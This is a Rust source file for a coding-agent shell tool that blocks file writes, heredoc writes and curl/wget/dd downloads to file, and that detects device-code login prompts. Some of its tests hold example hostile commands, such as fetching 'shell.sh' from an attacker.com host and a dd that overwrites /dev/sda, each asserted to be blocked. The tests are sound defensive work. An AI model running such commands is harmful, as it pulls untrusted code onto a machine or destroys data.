1use crate::tools::CrpMode;
2
3const MAX_COMMAND_BYTES: usize = 8192;
4
5pub fn validate_command(command: &str) -> Option<String> {
8 if command.len() > MAX_COMMAND_BYTES {
9 return Some(format!(
10 "ERROR: Command too large ({} bytes, limit {}). \
11 If you're writing file content, use the native Write/Edit tool instead. \
12 ctx_shell is for reading command output only (git, cargo, npm, etc.).",
13 command.len(),
14 MAX_COMMAND_BYTES
15 ));
16 }
17
18 let cmd_no_heredoc = crate::core::shell_allowlist::strip_all_heredoc_bodies(command);
21 if has_file_write_redirect(&cmd_no_heredoc) {
22 return Some(
23 "ERROR: ctx_shell detected a file-write command (shell redirect > or >>). \
24 Use the native Write tool to create/modify files. \
25 ctx_shell is ONLY for reading command output (git status, cargo test, npm run, etc.). \
26 File writes via shell cause MCP protocol corruption on large payloads."
27 .to_string(),
28 );
29 }
30
31 let cmd_no_heredoc_lower = cmd_no_heredoc.to_lowercase();
37 if cmd_no_heredoc_lower.starts_with("tee ") && !cmd_no_heredoc_lower.contains("| tee ") {
38 return Some(
39 "ERROR: ctx_shell detected a file-write command (tee without pipe). \
40 Use the native Write tool to create/modify files. \
41 ctx_shell is ONLY for reading command output. \
42 Piped tee (cmd | tee file) is allowed for output capture."
43 .to_string(),
44 );
45 }
46
47 if is_heredoc_file_write(command) {
48 return Some(
49 "ERROR: ctx_shell detected a heredoc writing to a file. \
50 Use the native Write tool to create/modify files. \
51 ctx_shell is ONLY for reading command output. \
52 Note: heredocs for input piping (e.g. psql <<EOF) are allowed."
53 .to_string(),
54 );
55 }
56
57 if let Some(reason) = download_to_file_reason(command) {
58 return Some(format!(
59 "ERROR: ctx_shell detected a file download/write ({reason}). \
60 ctx_shell is ONLY for reading command output — redirect-free flags bypass \
61 this doctrine, so they are blocked too (GH #391). \
62 Fetch to stdout instead (curl <url>, wget -qO- <url>) or use the editor's \
63 native tools to create files."
64 ));
65 }
66
67 None
68}
69
70fn download_to_file_reason(command: &str) -> Option<String> {
74 for seg in crate::core::shell_allowlist::extract_all_commands_pub(command) {
75 let tokens = crate::core::shell_allowlist::shell_tokenize(seg.trim());
76 let Some(first) = tokens.first() else {
77 continue;
78 };
79 let base = first.rsplit('/').next().unwrap_or(first);
80 match base {
81 "curl" => {
82 for tok in &tokens[1..] {
83 if tok == "--output"
84 || tok.starts_with("--output=")
85 || tok == "--remote-name"
86 || tok == "--remote-name-all"
87 || tok == "--output-dir"
88 || tok.starts_with("--output-dir=")
89 {
90 return Some(format!("curl {tok}"));
91 }
92 if tok.starts_with('-')
94 && !tok.starts_with("--")
95 && tok[1..].contains(['o', 'O'])
96 {
97 return Some(format!("curl {tok}"));
98 }
99 }
100 }
101 "wget" => {
102 let to_stdout = tokens[1..].iter().enumerate().any(|(i, tok)| {
104 tok == "--output-document=-"
105 || tok == "-O-"
106 || (tok.starts_with('-') && !tok.starts_with("--") && tok.ends_with("O-"))
107 || ((tok == "-O" || tok == "--output-document")
108 && tokens.get(i + 2).map(std::string::String::as_str) == Some("-"))
109 || tok == "--spider"
110 });
111 if !to_stdout {
112 return Some(
113 "wget downloads to a file by default; use wget -qO- <url> for stdout"
114 .to_string(),
115 );
116 }
117 }
118 "dd" => {
119 for tok in &tokens[1..] {
120 if tok.starts_with("of=") && !tok.starts_with("of=/dev/null") {
121 return Some(format!("dd {tok}"));
122 }
123 }
124 }
125 _ => {}
126 }
127 }
128 None
129}
130
131fn is_heredoc_file_write(command: &str) -> bool {
134 let has_heredoc = command.contains("<<");
135 if !has_heredoc {
136 return false;
137 }
138 let cmd_lower = command.to_lowercase();
139 let heredoc_patterns = ["<<eof", "<<'eof'", "<<\"eof\"", "<<end", "<<'end'"];
140 let has_known_heredoc = heredoc_patterns.iter().any(|p| cmd_lower.contains(p));
141 if !has_known_heredoc {
142 return false;
143 }
144 let stripped = crate::core::shell_allowlist::strip_all_heredoc_bodies(command);
147 has_file_write_redirect(&stripped)
148}
149
150pub fn is_temp_redirect_target(target: &str) -> bool {
160 let t = target.trim_start_matches(['>', '&']);
161 let lower = t.to_lowercase();
162 lower.starts_with("/tmp/")
163 || lower.starts_with("/tmp")
164 || lower.contains("\\temp\\")
165 || lower.contains("\\tmp\\")
166 || lower.starts_with("$tmpdir/")
167 || lower.starts_with("${tmpdir}")
168 || t.starts_with('$')
169 || t.starts_with("${")
170}
171fn has_file_write_redirect(command: &str) -> bool {
172 let bytes = command.as_bytes();
173 let len = bytes.len();
174 let mut i = 0;
175 let mut in_single_quote = false;
176 let mut in_double_quote = false;
177
178 while i < len {
179 let c = bytes[i];
180 if c == b'\\' && !in_single_quote {
181 i += 2;
187 continue;
188 }
189 if c == b'\'' && !in_double_quote {
190 in_single_quote = !in_single_quote;
191 } else if c == b'"' && !in_single_quote {
192 in_double_quote = !in_double_quote;
193 } else if c == b'>' && !in_single_quote && !in_double_quote {
194 if i > 0 && bytes[i - 1] == b'2' {
195 i += 1;
196 continue;
197 }
198 let target_start = if i + 1 < len && bytes[i + 1] == b'>' {
199 i + 2
200 } else {
201 i + 1
202 };
203 let target: String = command[target_start..]
204 .trim_start()
205 .chars()
206 .take_while(|c| !c.is_whitespace())
207 .collect();
208 if target == "/dev/null" || target == "/dev/stdout" || target == "/dev/stderr" {
209 i += 1;
210 continue;
211 }
212 if is_temp_redirect_target(&target) {
215 i += 1;
216 continue;
217 }
218 if !target.is_empty() {
219 return true;
220 }
221 }
222 i += 1;
223 }
224 false
225}
226
227pub fn normalize_command_for_shell(command: &str) -> String {
230 if !cfg!(windows) {
231 return command.to_string();
232 }
233 let (_, flag) = crate::shell::shell_and_flag();
234 if flag != "/C" {
235 return command.to_string();
236 }
237 let bytes = command.as_bytes();
238 let mut result = Vec::with_capacity(bytes.len() + 16);
239 let mut in_single = false;
240 let mut in_double = false;
241 for (i, &b) in bytes.iter().enumerate() {
242 if b == b'\'' && !in_double {
243 in_single = !in_single;
244 } else if b == b'"' && !in_single {
245 in_double = !in_double;
246 } else if b == b';' && !in_single && !in_double {
247 result.extend_from_slice(b" && ");
248 continue;
249 }
250 result.push(b);
251 let _ = i;
252 }
253 String::from_utf8(result).unwrap_or_else(|_| command.to_string())
254}
255
256pub fn handle(command: &str, output: &str, exit_code: i32, _crp_mode: CrpMode) -> String {
261 crate::shell::compress::engine::compress_for_outcome(command, output, exit_code)
262}
263
264#[cfg(test)]
265fn is_search_command(command: &str) -> bool {
266 let cmd = command.trim_start();
267 cmd.starts_with("grep ")
268 || cmd.starts_with("rg ")
269 || cmd.starts_with("find ")
270 || cmd.starts_with("fd ")
271 || cmd.starts_with("ag ")
272 || cmd.starts_with("ack ")
273}
274
275#[cfg(test)]
276fn generic_compress(output: &str) -> String {
277 let output = crate::core::compressor::strip_ansi(output);
278 let lines: Vec<&str> = output
279 .lines()
280 .filter(|l| {
281 let t = l.trim();
282 !t.is_empty()
283 })
284 .collect();
285
286 if lines.len() <= 20 {
287 return lines.join("\n");
288 }
289
290 let show_count = (lines.len() / 3).min(30);
291 let half = show_count / 2;
292 let first = &lines[..half];
293 let last = &lines[lines.len() - half..];
294 let omitted = lines.len() - (half * 2);
295 format!(
296 "{}\n[truncated: showing {}/{} lines, {} omitted. Use raw=true for full output.]\n{}",
297 first.join("\n"),
298 half * 2,
299 lines.len(),
300 omitted,
301 last.join("\n")
302 )
303}
304
305pub fn contains_auth_flow(output: &str) -> bool {
309 let lower = output.to_lowercase();
310
311 const STRONG_SIGNALS: &[&str] = &[
312 "devicelogin",
313 "deviceauth",
314 "device_code",
315 "device code",
316 "device-code",
317 "verification_uri",
318 "user_code",
319 "one-time code",
320 ];
321
322 if STRONG_SIGNALS.iter().any(|s| lower.contains(s)) {
323 return true;
324 }
325
326 const WEAK_SIGNALS: &[&str] = &[
327 "enter the code",
328 "enter this code",
329 "enter code:",
330 "use the code",
331 "use a web browser to open",
332 "open the page",
333 "authenticate by visiting",
334 "sign in with the code",
335 "sign in using a code",
336 "verification code",
337 "authorize this device",
338 "waiting for authentication",
339 "waiting for login",
340 "waiting for you to authenticate",
341 "open your browser",
342 "open in your browser",
343 ];
344
345 let has_weak_signal = WEAK_SIGNALS.iter().any(|s| lower.contains(s));
346 if !has_weak_signal {
347 return false;
348 }
349
350 lower.contains("http://") || lower.contains("https://")
351}
352
353#[cfg(test)]
354mod tests {
355 use super::*;
356
357 #[test]
358 fn normalize_cmd_no_change_on_unix() {
359 if cfg!(windows) {
360 return;
361 }
362 assert_eq!(
363 normalize_command_for_shell("cd /tmp; ls -la"),
364 "cd /tmp; ls -la"
365 );
366 }
367
368 #[test]
369 fn validate_allows_safe_commands() {
370 assert!(validate_command("git status").is_none());
371 assert!(validate_command("cargo test").is_none());
372 assert!(validate_command("npm run build").is_none());
373 assert!(validate_command("ls -la").is_none());
374 }
375
376 #[test]
377 fn validate_blocks_file_writes() {
378 assert!(validate_command("echo 'data' > output.txt").is_some());
379 assert!(validate_command("tee /tmp/file.txt").is_some());
380 assert!(validate_command("printf 'hello' > test.txt").is_some());
381 }
382
383 #[test]
384 fn validate_blocks_heredoc_with_file_redirect() {
385 assert!(validate_command("cat > file.py <<'EOF'\nprint('hi')\nEOF").is_some());
386 assert!(validate_command("cat <<EOF > output.txt\nhello\nEOF").is_some());
387 assert!(validate_command("cat <<'END' >> logfile.txt\ndata\nEND").is_some());
388 }
389
390 #[test]
391 fn validate_allows_heredoc_without_file_redirect() {
392 assert!(validate_command("cat <<EOF\nhello world\nEOF").is_none());
393 assert!(validate_command("psql -d mydb <<EOF\nSELECT 1;\nEOF").is_none());
394 assert!(
395 validate_command("git commit -m \"$(cat <<'EOF'\nfix: something\nEOF\n)\"").is_none()
396 );
397 assert!(validate_command("grep pattern <<EOF\nfoo\nbar\nEOF").is_none());
398 }
399
400 #[test]
401 fn validate_blocks_oversized_commands() {
402 let huge = "x".repeat(MAX_COMMAND_BYTES + 1);
403 let result = validate_command(&huge);
404 assert!(result.is_some());
405 assert!(result.unwrap().contains("too large"));
406 }
407
408 #[test]
409 fn validate_allows_cat_without_redirect() {
410 assert!(validate_command("cat file.txt").is_none());
411 }
412
413 #[test]
416 fn validate_allows_escaped_quotes_with_angle_brackets() {
417 assert!(
420 validate_command(
421 "gh issue comment 1 --body \"$(printf 'says \\\"root: <root>\\\" only')\""
422 )
423 .is_none()
424 );
425 assert!(validate_command("echo \"say \\\">hi<\\\" ok\"").is_none());
426 assert!(validate_command("echo a \\> b").is_none());
428 }
429
430 #[test]
431 fn validate_still_blocks_redirect_after_escapes() {
432 assert!(validate_command("echo \"a \\\"b\\\"\" > out.txt").is_some());
434 assert!(validate_command("echo \\\\ > out.txt").is_some());
435 }
436
437 #[test]
440 fn heredoc_stdin_without_redirect_is_allowed() {
441 assert!(validate_command("git commit -F - <<'EOF'\nfix: something\nEOF").is_none());
442 assert!(validate_command("kubectl apply -f - <<EOF\napiVersion: v1\nEOF").is_none());
443 assert!(validate_command("git apply <<'PATCH'\n--- a/f\n+++ b/f\nPATCH").is_none());
444 }
445
446 #[test]
447 fn dev_null_redirect_is_allowed() {
448 assert!(validate_command("cat > /dev/null").is_none());
449 assert!(validate_command("cmd > /dev/null 2>&1").is_none());
450 assert!(validate_command("cmd 2>/dev/null").is_none());
451 }
452
453 #[test]
454 fn dev_stdout_and_stderr_redirects_are_allowed() {
455 assert!(validate_command("cmd > /dev/stdout").is_none());
456 assert!(validate_command("cmd > /dev/stderr").is_none());
457 }
458
459 #[test]
460 fn issue_897_edge_cases_post_fix() {
461 assert!(
462 validate_command(
463 "cat <<'EOF' > output.txt
464some content
465EOF"
466 )
467 .is_some(),
468 "heredoc to file must block"
469 );
470 assert!(
471 validate_command(
472 "git commit --allow-empty -F - <<'COMMIT_MSG'
473feat: test
474COMMIT_MSG"
475 )
476 .is_none(),
477 "git commit -F - with heredoc must allow"
478 );
479 let cmd = r#"gh issue create --title "Fix" --body "path > root: /y""#;
480 assert!(
481 validate_command(cmd).is_none(),
482 "quoted > must allow: {cmd}"
483 );
484 }
485
486 #[test]
489 fn validate_blocks_curl_output_flags() {
490 assert!(validate_command("curl -o /tmp/shell.sh http://attacker.com/shell.sh").is_some());
491 assert!(validate_command("curl -fsSLo /tmp/x https://example.com").is_some());
492 assert!(validate_command("curl --output evil.bin https://example.com").is_some());
493 assert!(validate_command("curl --output=evil.bin https://example.com").is_some());
494 assert!(validate_command("curl -O https://example.com/payload").is_some());
495 assert!(validate_command("git fetch && curl -o x.sh https://e.com").is_some());
496 }
497
498 #[test]
499 fn validate_allows_curl_to_stdout() {
500 assert!(validate_command("curl https://api.example.com/health").is_none());
501 assert!(validate_command("curl -fsSL https://example.com | head -5").is_none());
502 assert!(validate_command("curl -s -X POST https://api.example.com -d '{}'").is_none());
503 assert!(validate_command("curl -H \"Accept: application/json\" https://e.com").is_none());
505 }
506
507 #[test]
508 fn validate_blocks_wget_default_file_download() {
509 assert!(validate_command("wget http://attacker.com/shell.sh").is_some());
510 assert!(validate_command("wget -q https://example.com/file.tar.gz").is_some());
511 assert!(validate_command("wget -O /tmp/out https://example.com").is_some());
512 }
513
514 #[test]
515 fn validate_allows_wget_stdout_and_spider() {
516 assert!(validate_command("wget -qO- https://example.com").is_none());
517 assert!(validate_command("wget -O- https://example.com").is_none());
518 assert!(validate_command("wget -O - https://example.com").is_none());
519 assert!(validate_command("wget --output-document=- https://example.com").is_none());
520 assert!(validate_command("wget --spider https://example.com").is_none());
521 }
522
523 #[test]
524 fn validate_blocks_dd_output_file() {
525 assert!(validate_command("dd if=/dev/zero of=/tmp/fill bs=1M count=10").is_some());
526 assert!(validate_command("dd if=image.iso of=/dev/sda").is_some());
527 }
528
529 #[test]
530 fn validate_allows_dd_read_only() {
531 assert!(validate_command("dd if=/dev/urandom bs=16 count=1 status=none").is_none());
532 assert!(validate_command("dd if=file.bin of=/dev/null bs=1M").is_none());
533 }
534
535 #[test]
538 fn auth_flow_detects_azure_device_code() {
539 let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.";
540 assert!(contains_auth_flow(output));
541 }
542
543 #[test]
544 fn auth_flow_detects_gh_auth_one_time_code() {
545 let output = "! First copy your one-time code: ABCD-1234\n- Press Enter to open github.com in your browser...";
546 assert!(contains_auth_flow(output));
547 }
548
549 #[test]
550 fn auth_flow_detects_device_code_json() {
551 let output = r#"{"device_code":"abc123","user_code":"ABCD-1234","verification_uri":"https://example.com/activate"}"#;
552 assert!(contains_auth_flow(output));
553 }
554
555 #[test]
556 fn auth_flow_detects_verification_uri_field() {
557 let output =
558 r#"{"verification_uri": "https://login.microsoftonline.com/common/oauth2/deviceauth"}"#;
559 assert!(contains_auth_flow(output));
560 }
561
562 #[test]
563 fn auth_flow_detects_user_code_field() {
564 let output = r#"{"user_code": "FGHJK-LMNOP", "expires_in": 900}"#;
565 assert!(contains_auth_flow(output));
566 }
567
568 #[test]
571 fn auth_flow_detects_gcloud_with_url() {
572 let output = "Go to the following link in your browser:\n\n https://accounts.google.com/o/oauth2/auth?response_type=code\n\nEnter verification code: ";
573 assert!(contains_auth_flow(output));
574 }
575
576 #[test]
577 fn auth_flow_detects_aws_sso_with_url() {
578 let output = "If the browser does not open, open the following URL:\nhttps://device.sso.us-east-1.amazonaws.com/\n\nThen enter the code:\nABCD-EFGH";
579 assert!(contains_auth_flow(output));
580 }
581
582 #[test]
583 fn auth_flow_detects_firebase_with_url() {
584 let output = "Visit this URL on this device to log in:\nhttps://accounts.google.com/o/oauth2/auth?...\n\nWaiting for authentication...";
585 assert!(contains_auth_flow(output));
586 }
587
588 #[test]
589 fn auth_flow_detects_generic_browser_open_with_url() {
590 let output =
591 "Open your browser to https://login.example.com/device and enter the code XYZW-1234";
592 assert!(contains_auth_flow(output));
593 }
594
595 #[test]
598 fn auth_flow_ignores_normal_build_output() {
599 let output = "Compiling lean-ctx v2.21.9\nFinished release profile\n";
600 assert!(!contains_auth_flow(output));
601 }
602
603 #[test]
604 fn auth_flow_ignores_git_output() {
605 let output = "On branch main\nYour branch is up to date with 'origin/main'.\nnothing to commit, working tree clean";
606 assert!(!contains_auth_flow(output));
607 }
608
609 #[test]
610 fn auth_flow_ignores_npm_install_output() {
611 let output = "added 150 packages in 3s\n\n24 packages are looking for funding\n run `npm fund` for details\nhttps://npmjs.com/package/lean-ctx";
612 assert!(!contains_auth_flow(output));
613 }
614
615 #[test]
616 fn auth_flow_ignores_docs_mentioning_auth() {
617 let output = "The authorization code grant type is the most common OAuth flow.\nSee https://oauth.net/2/grant-types/ for details.";
618 assert!(!contains_auth_flow(output));
619 }
620
621 #[test]
622 fn auth_flow_weak_signal_requires_url() {
623 let output = "Please enter the code ABC123 in the terminal";
624 assert!(!contains_auth_flow(output));
625 }
626
627 #[test]
628 fn auth_flow_weak_signal_without_url_is_ignored() {
629 let output = "Waiting for authentication to complete... done!";
630 assert!(!contains_auth_flow(output));
631 }
632
633 #[test]
634 fn auth_flow_ignores_virtualenv_activate() {
635 let output = "Created virtualenv at .venv\nRun: source .venv/bin/activate";
636 assert!(!contains_auth_flow(output));
637 }
638
639 #[test]
640 fn auth_flow_ignores_api_response_with_code_field() {
641 let output = r#"{"status": "ok", "code": 200, "message": "success"}"#;
642 assert!(!contains_auth_flow(output));
643 }
644
645 #[test]
648 fn handle_preserves_auth_flow_output_fully() {
649 let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.\nWaiting for you...\nLine 3\nLine 4\nLine 5\nLine 6\nLine 7\nLine 8\nLine 9\nLine 10\nLine 11\nLine 12\nLine 13";
650 let result = handle("az login --use-device-code", output, 0, CrpMode::Off);
652 assert!(result.contains("ABCD1234"), "auth code must be preserved");
653 assert!(result.contains("devicelogin"), "URL must be preserved");
654 assert!(
655 result.contains("Line 13"),
656 "all lines must be preserved (no truncation)"
657 );
658 }
659
660 #[test]
661 fn handle_compresses_normal_output_not_auth() {
662 let lines: Vec<String> = (1..=20).map(|i| format!("Line {i} of output")).collect();
663 let output = lines.join("\n");
664 let result = handle("some-tool check", &output, 0, CrpMode::Off);
665 assert!(
666 !result.contains("auth/device-code flow detected"),
667 "normal output must not trigger auth detection"
668 );
669 assert!(
670 result.len() < output.len() + 100,
671 "normal output should be compressed, not inflated"
672 );
673 }
674
675 #[test]
676 fn is_search_command_detects_grep() {
677 assert!(is_search_command("grep -r pattern src/"));
678 assert!(is_search_command("rg pattern src/"));
679 assert!(is_search_command("find . -name '*.rs'"));
680 assert!(is_search_command("fd pattern"));
681 assert!(is_search_command("ag pattern src/"));
682 assert!(is_search_command("ack pattern"));
683 }
684
685 #[test]
686 fn is_search_command_rejects_non_search() {
687 assert!(!is_search_command("cargo build"));
688 assert!(!is_search_command("git status"));
689 assert!(!is_search_command("npm install"));
690 assert!(!is_search_command("cat file.rs"));
691 }
692
693 #[test]
694 fn generic_compress_preserves_short_output() {
695 let lines: Vec<String> = (1..=20).map(|i| format!("Line {i}")).collect();
696 let output = lines.join("\n");
697 let result = generic_compress(&output);
698 assert_eq!(result, output);
699 }
700
701 #[test]
702 fn generic_compress_scales_with_length() {
703 let lines: Vec<String> = (1..=60).map(|i| format!("Line {i}")).collect();
704 let output = lines.join("\n");
705 let result = generic_compress(&output);
706 assert!(result.contains("truncated"));
707 let shown_count = result.lines().count();
708 assert!(
709 shown_count > 10,
710 "should show more than old 6-line limit, got {shown_count}"
711 );
712 assert!(shown_count < 60, "should be truncated, not full output");
713 }
714
715 #[test]
716 fn handle_preserves_search_results() {
717 let lines: Vec<String> = (1..=30)
718 .map(|i| format!("src/file{i}.rs:42: fn search_result()"))
719 .collect();
720 let output = lines.join("\n");
721 let result = handle("rg search_result src/", &output, 0, CrpMode::Off);
722 for i in 1..=30 {
723 assert!(
724 result.contains(&format!("file{i}")),
725 "search result file{i} should be preserved in output"
726 );
727 }
728 }
729
730 #[test]
733 fn unquoted_heredoc_gt_in_body_not_blocked() {
734 let cmd = "psql <<SQL\nSELECT * FROM t WHERE x > 0;\nSQL";
735 assert!(
736 validate_command(cmd).is_none(),
737 "unquoted heredoc body with > must not be flagged as redirect"
738 );
739 }
740
741 #[test]
742 fn unquoted_heredoc_append_in_body_not_blocked() {
743 let cmd = "cat <<END\nline with >> inside\nEND";
744 assert!(
745 validate_command(cmd).is_none(),
746 "unquoted heredoc body with >> must not be flagged"
747 );
748 }
749
750 #[test]
751 fn real_redirect_after_heredoc_still_blocked() {
752 let cmd = "cat <<EOF > output.txt\ndata\nEOF";
753 assert!(
754 validate_command(cmd).is_some(),
755 "redirect OUTSIDE heredoc body must still block"
756 );
757 }
758}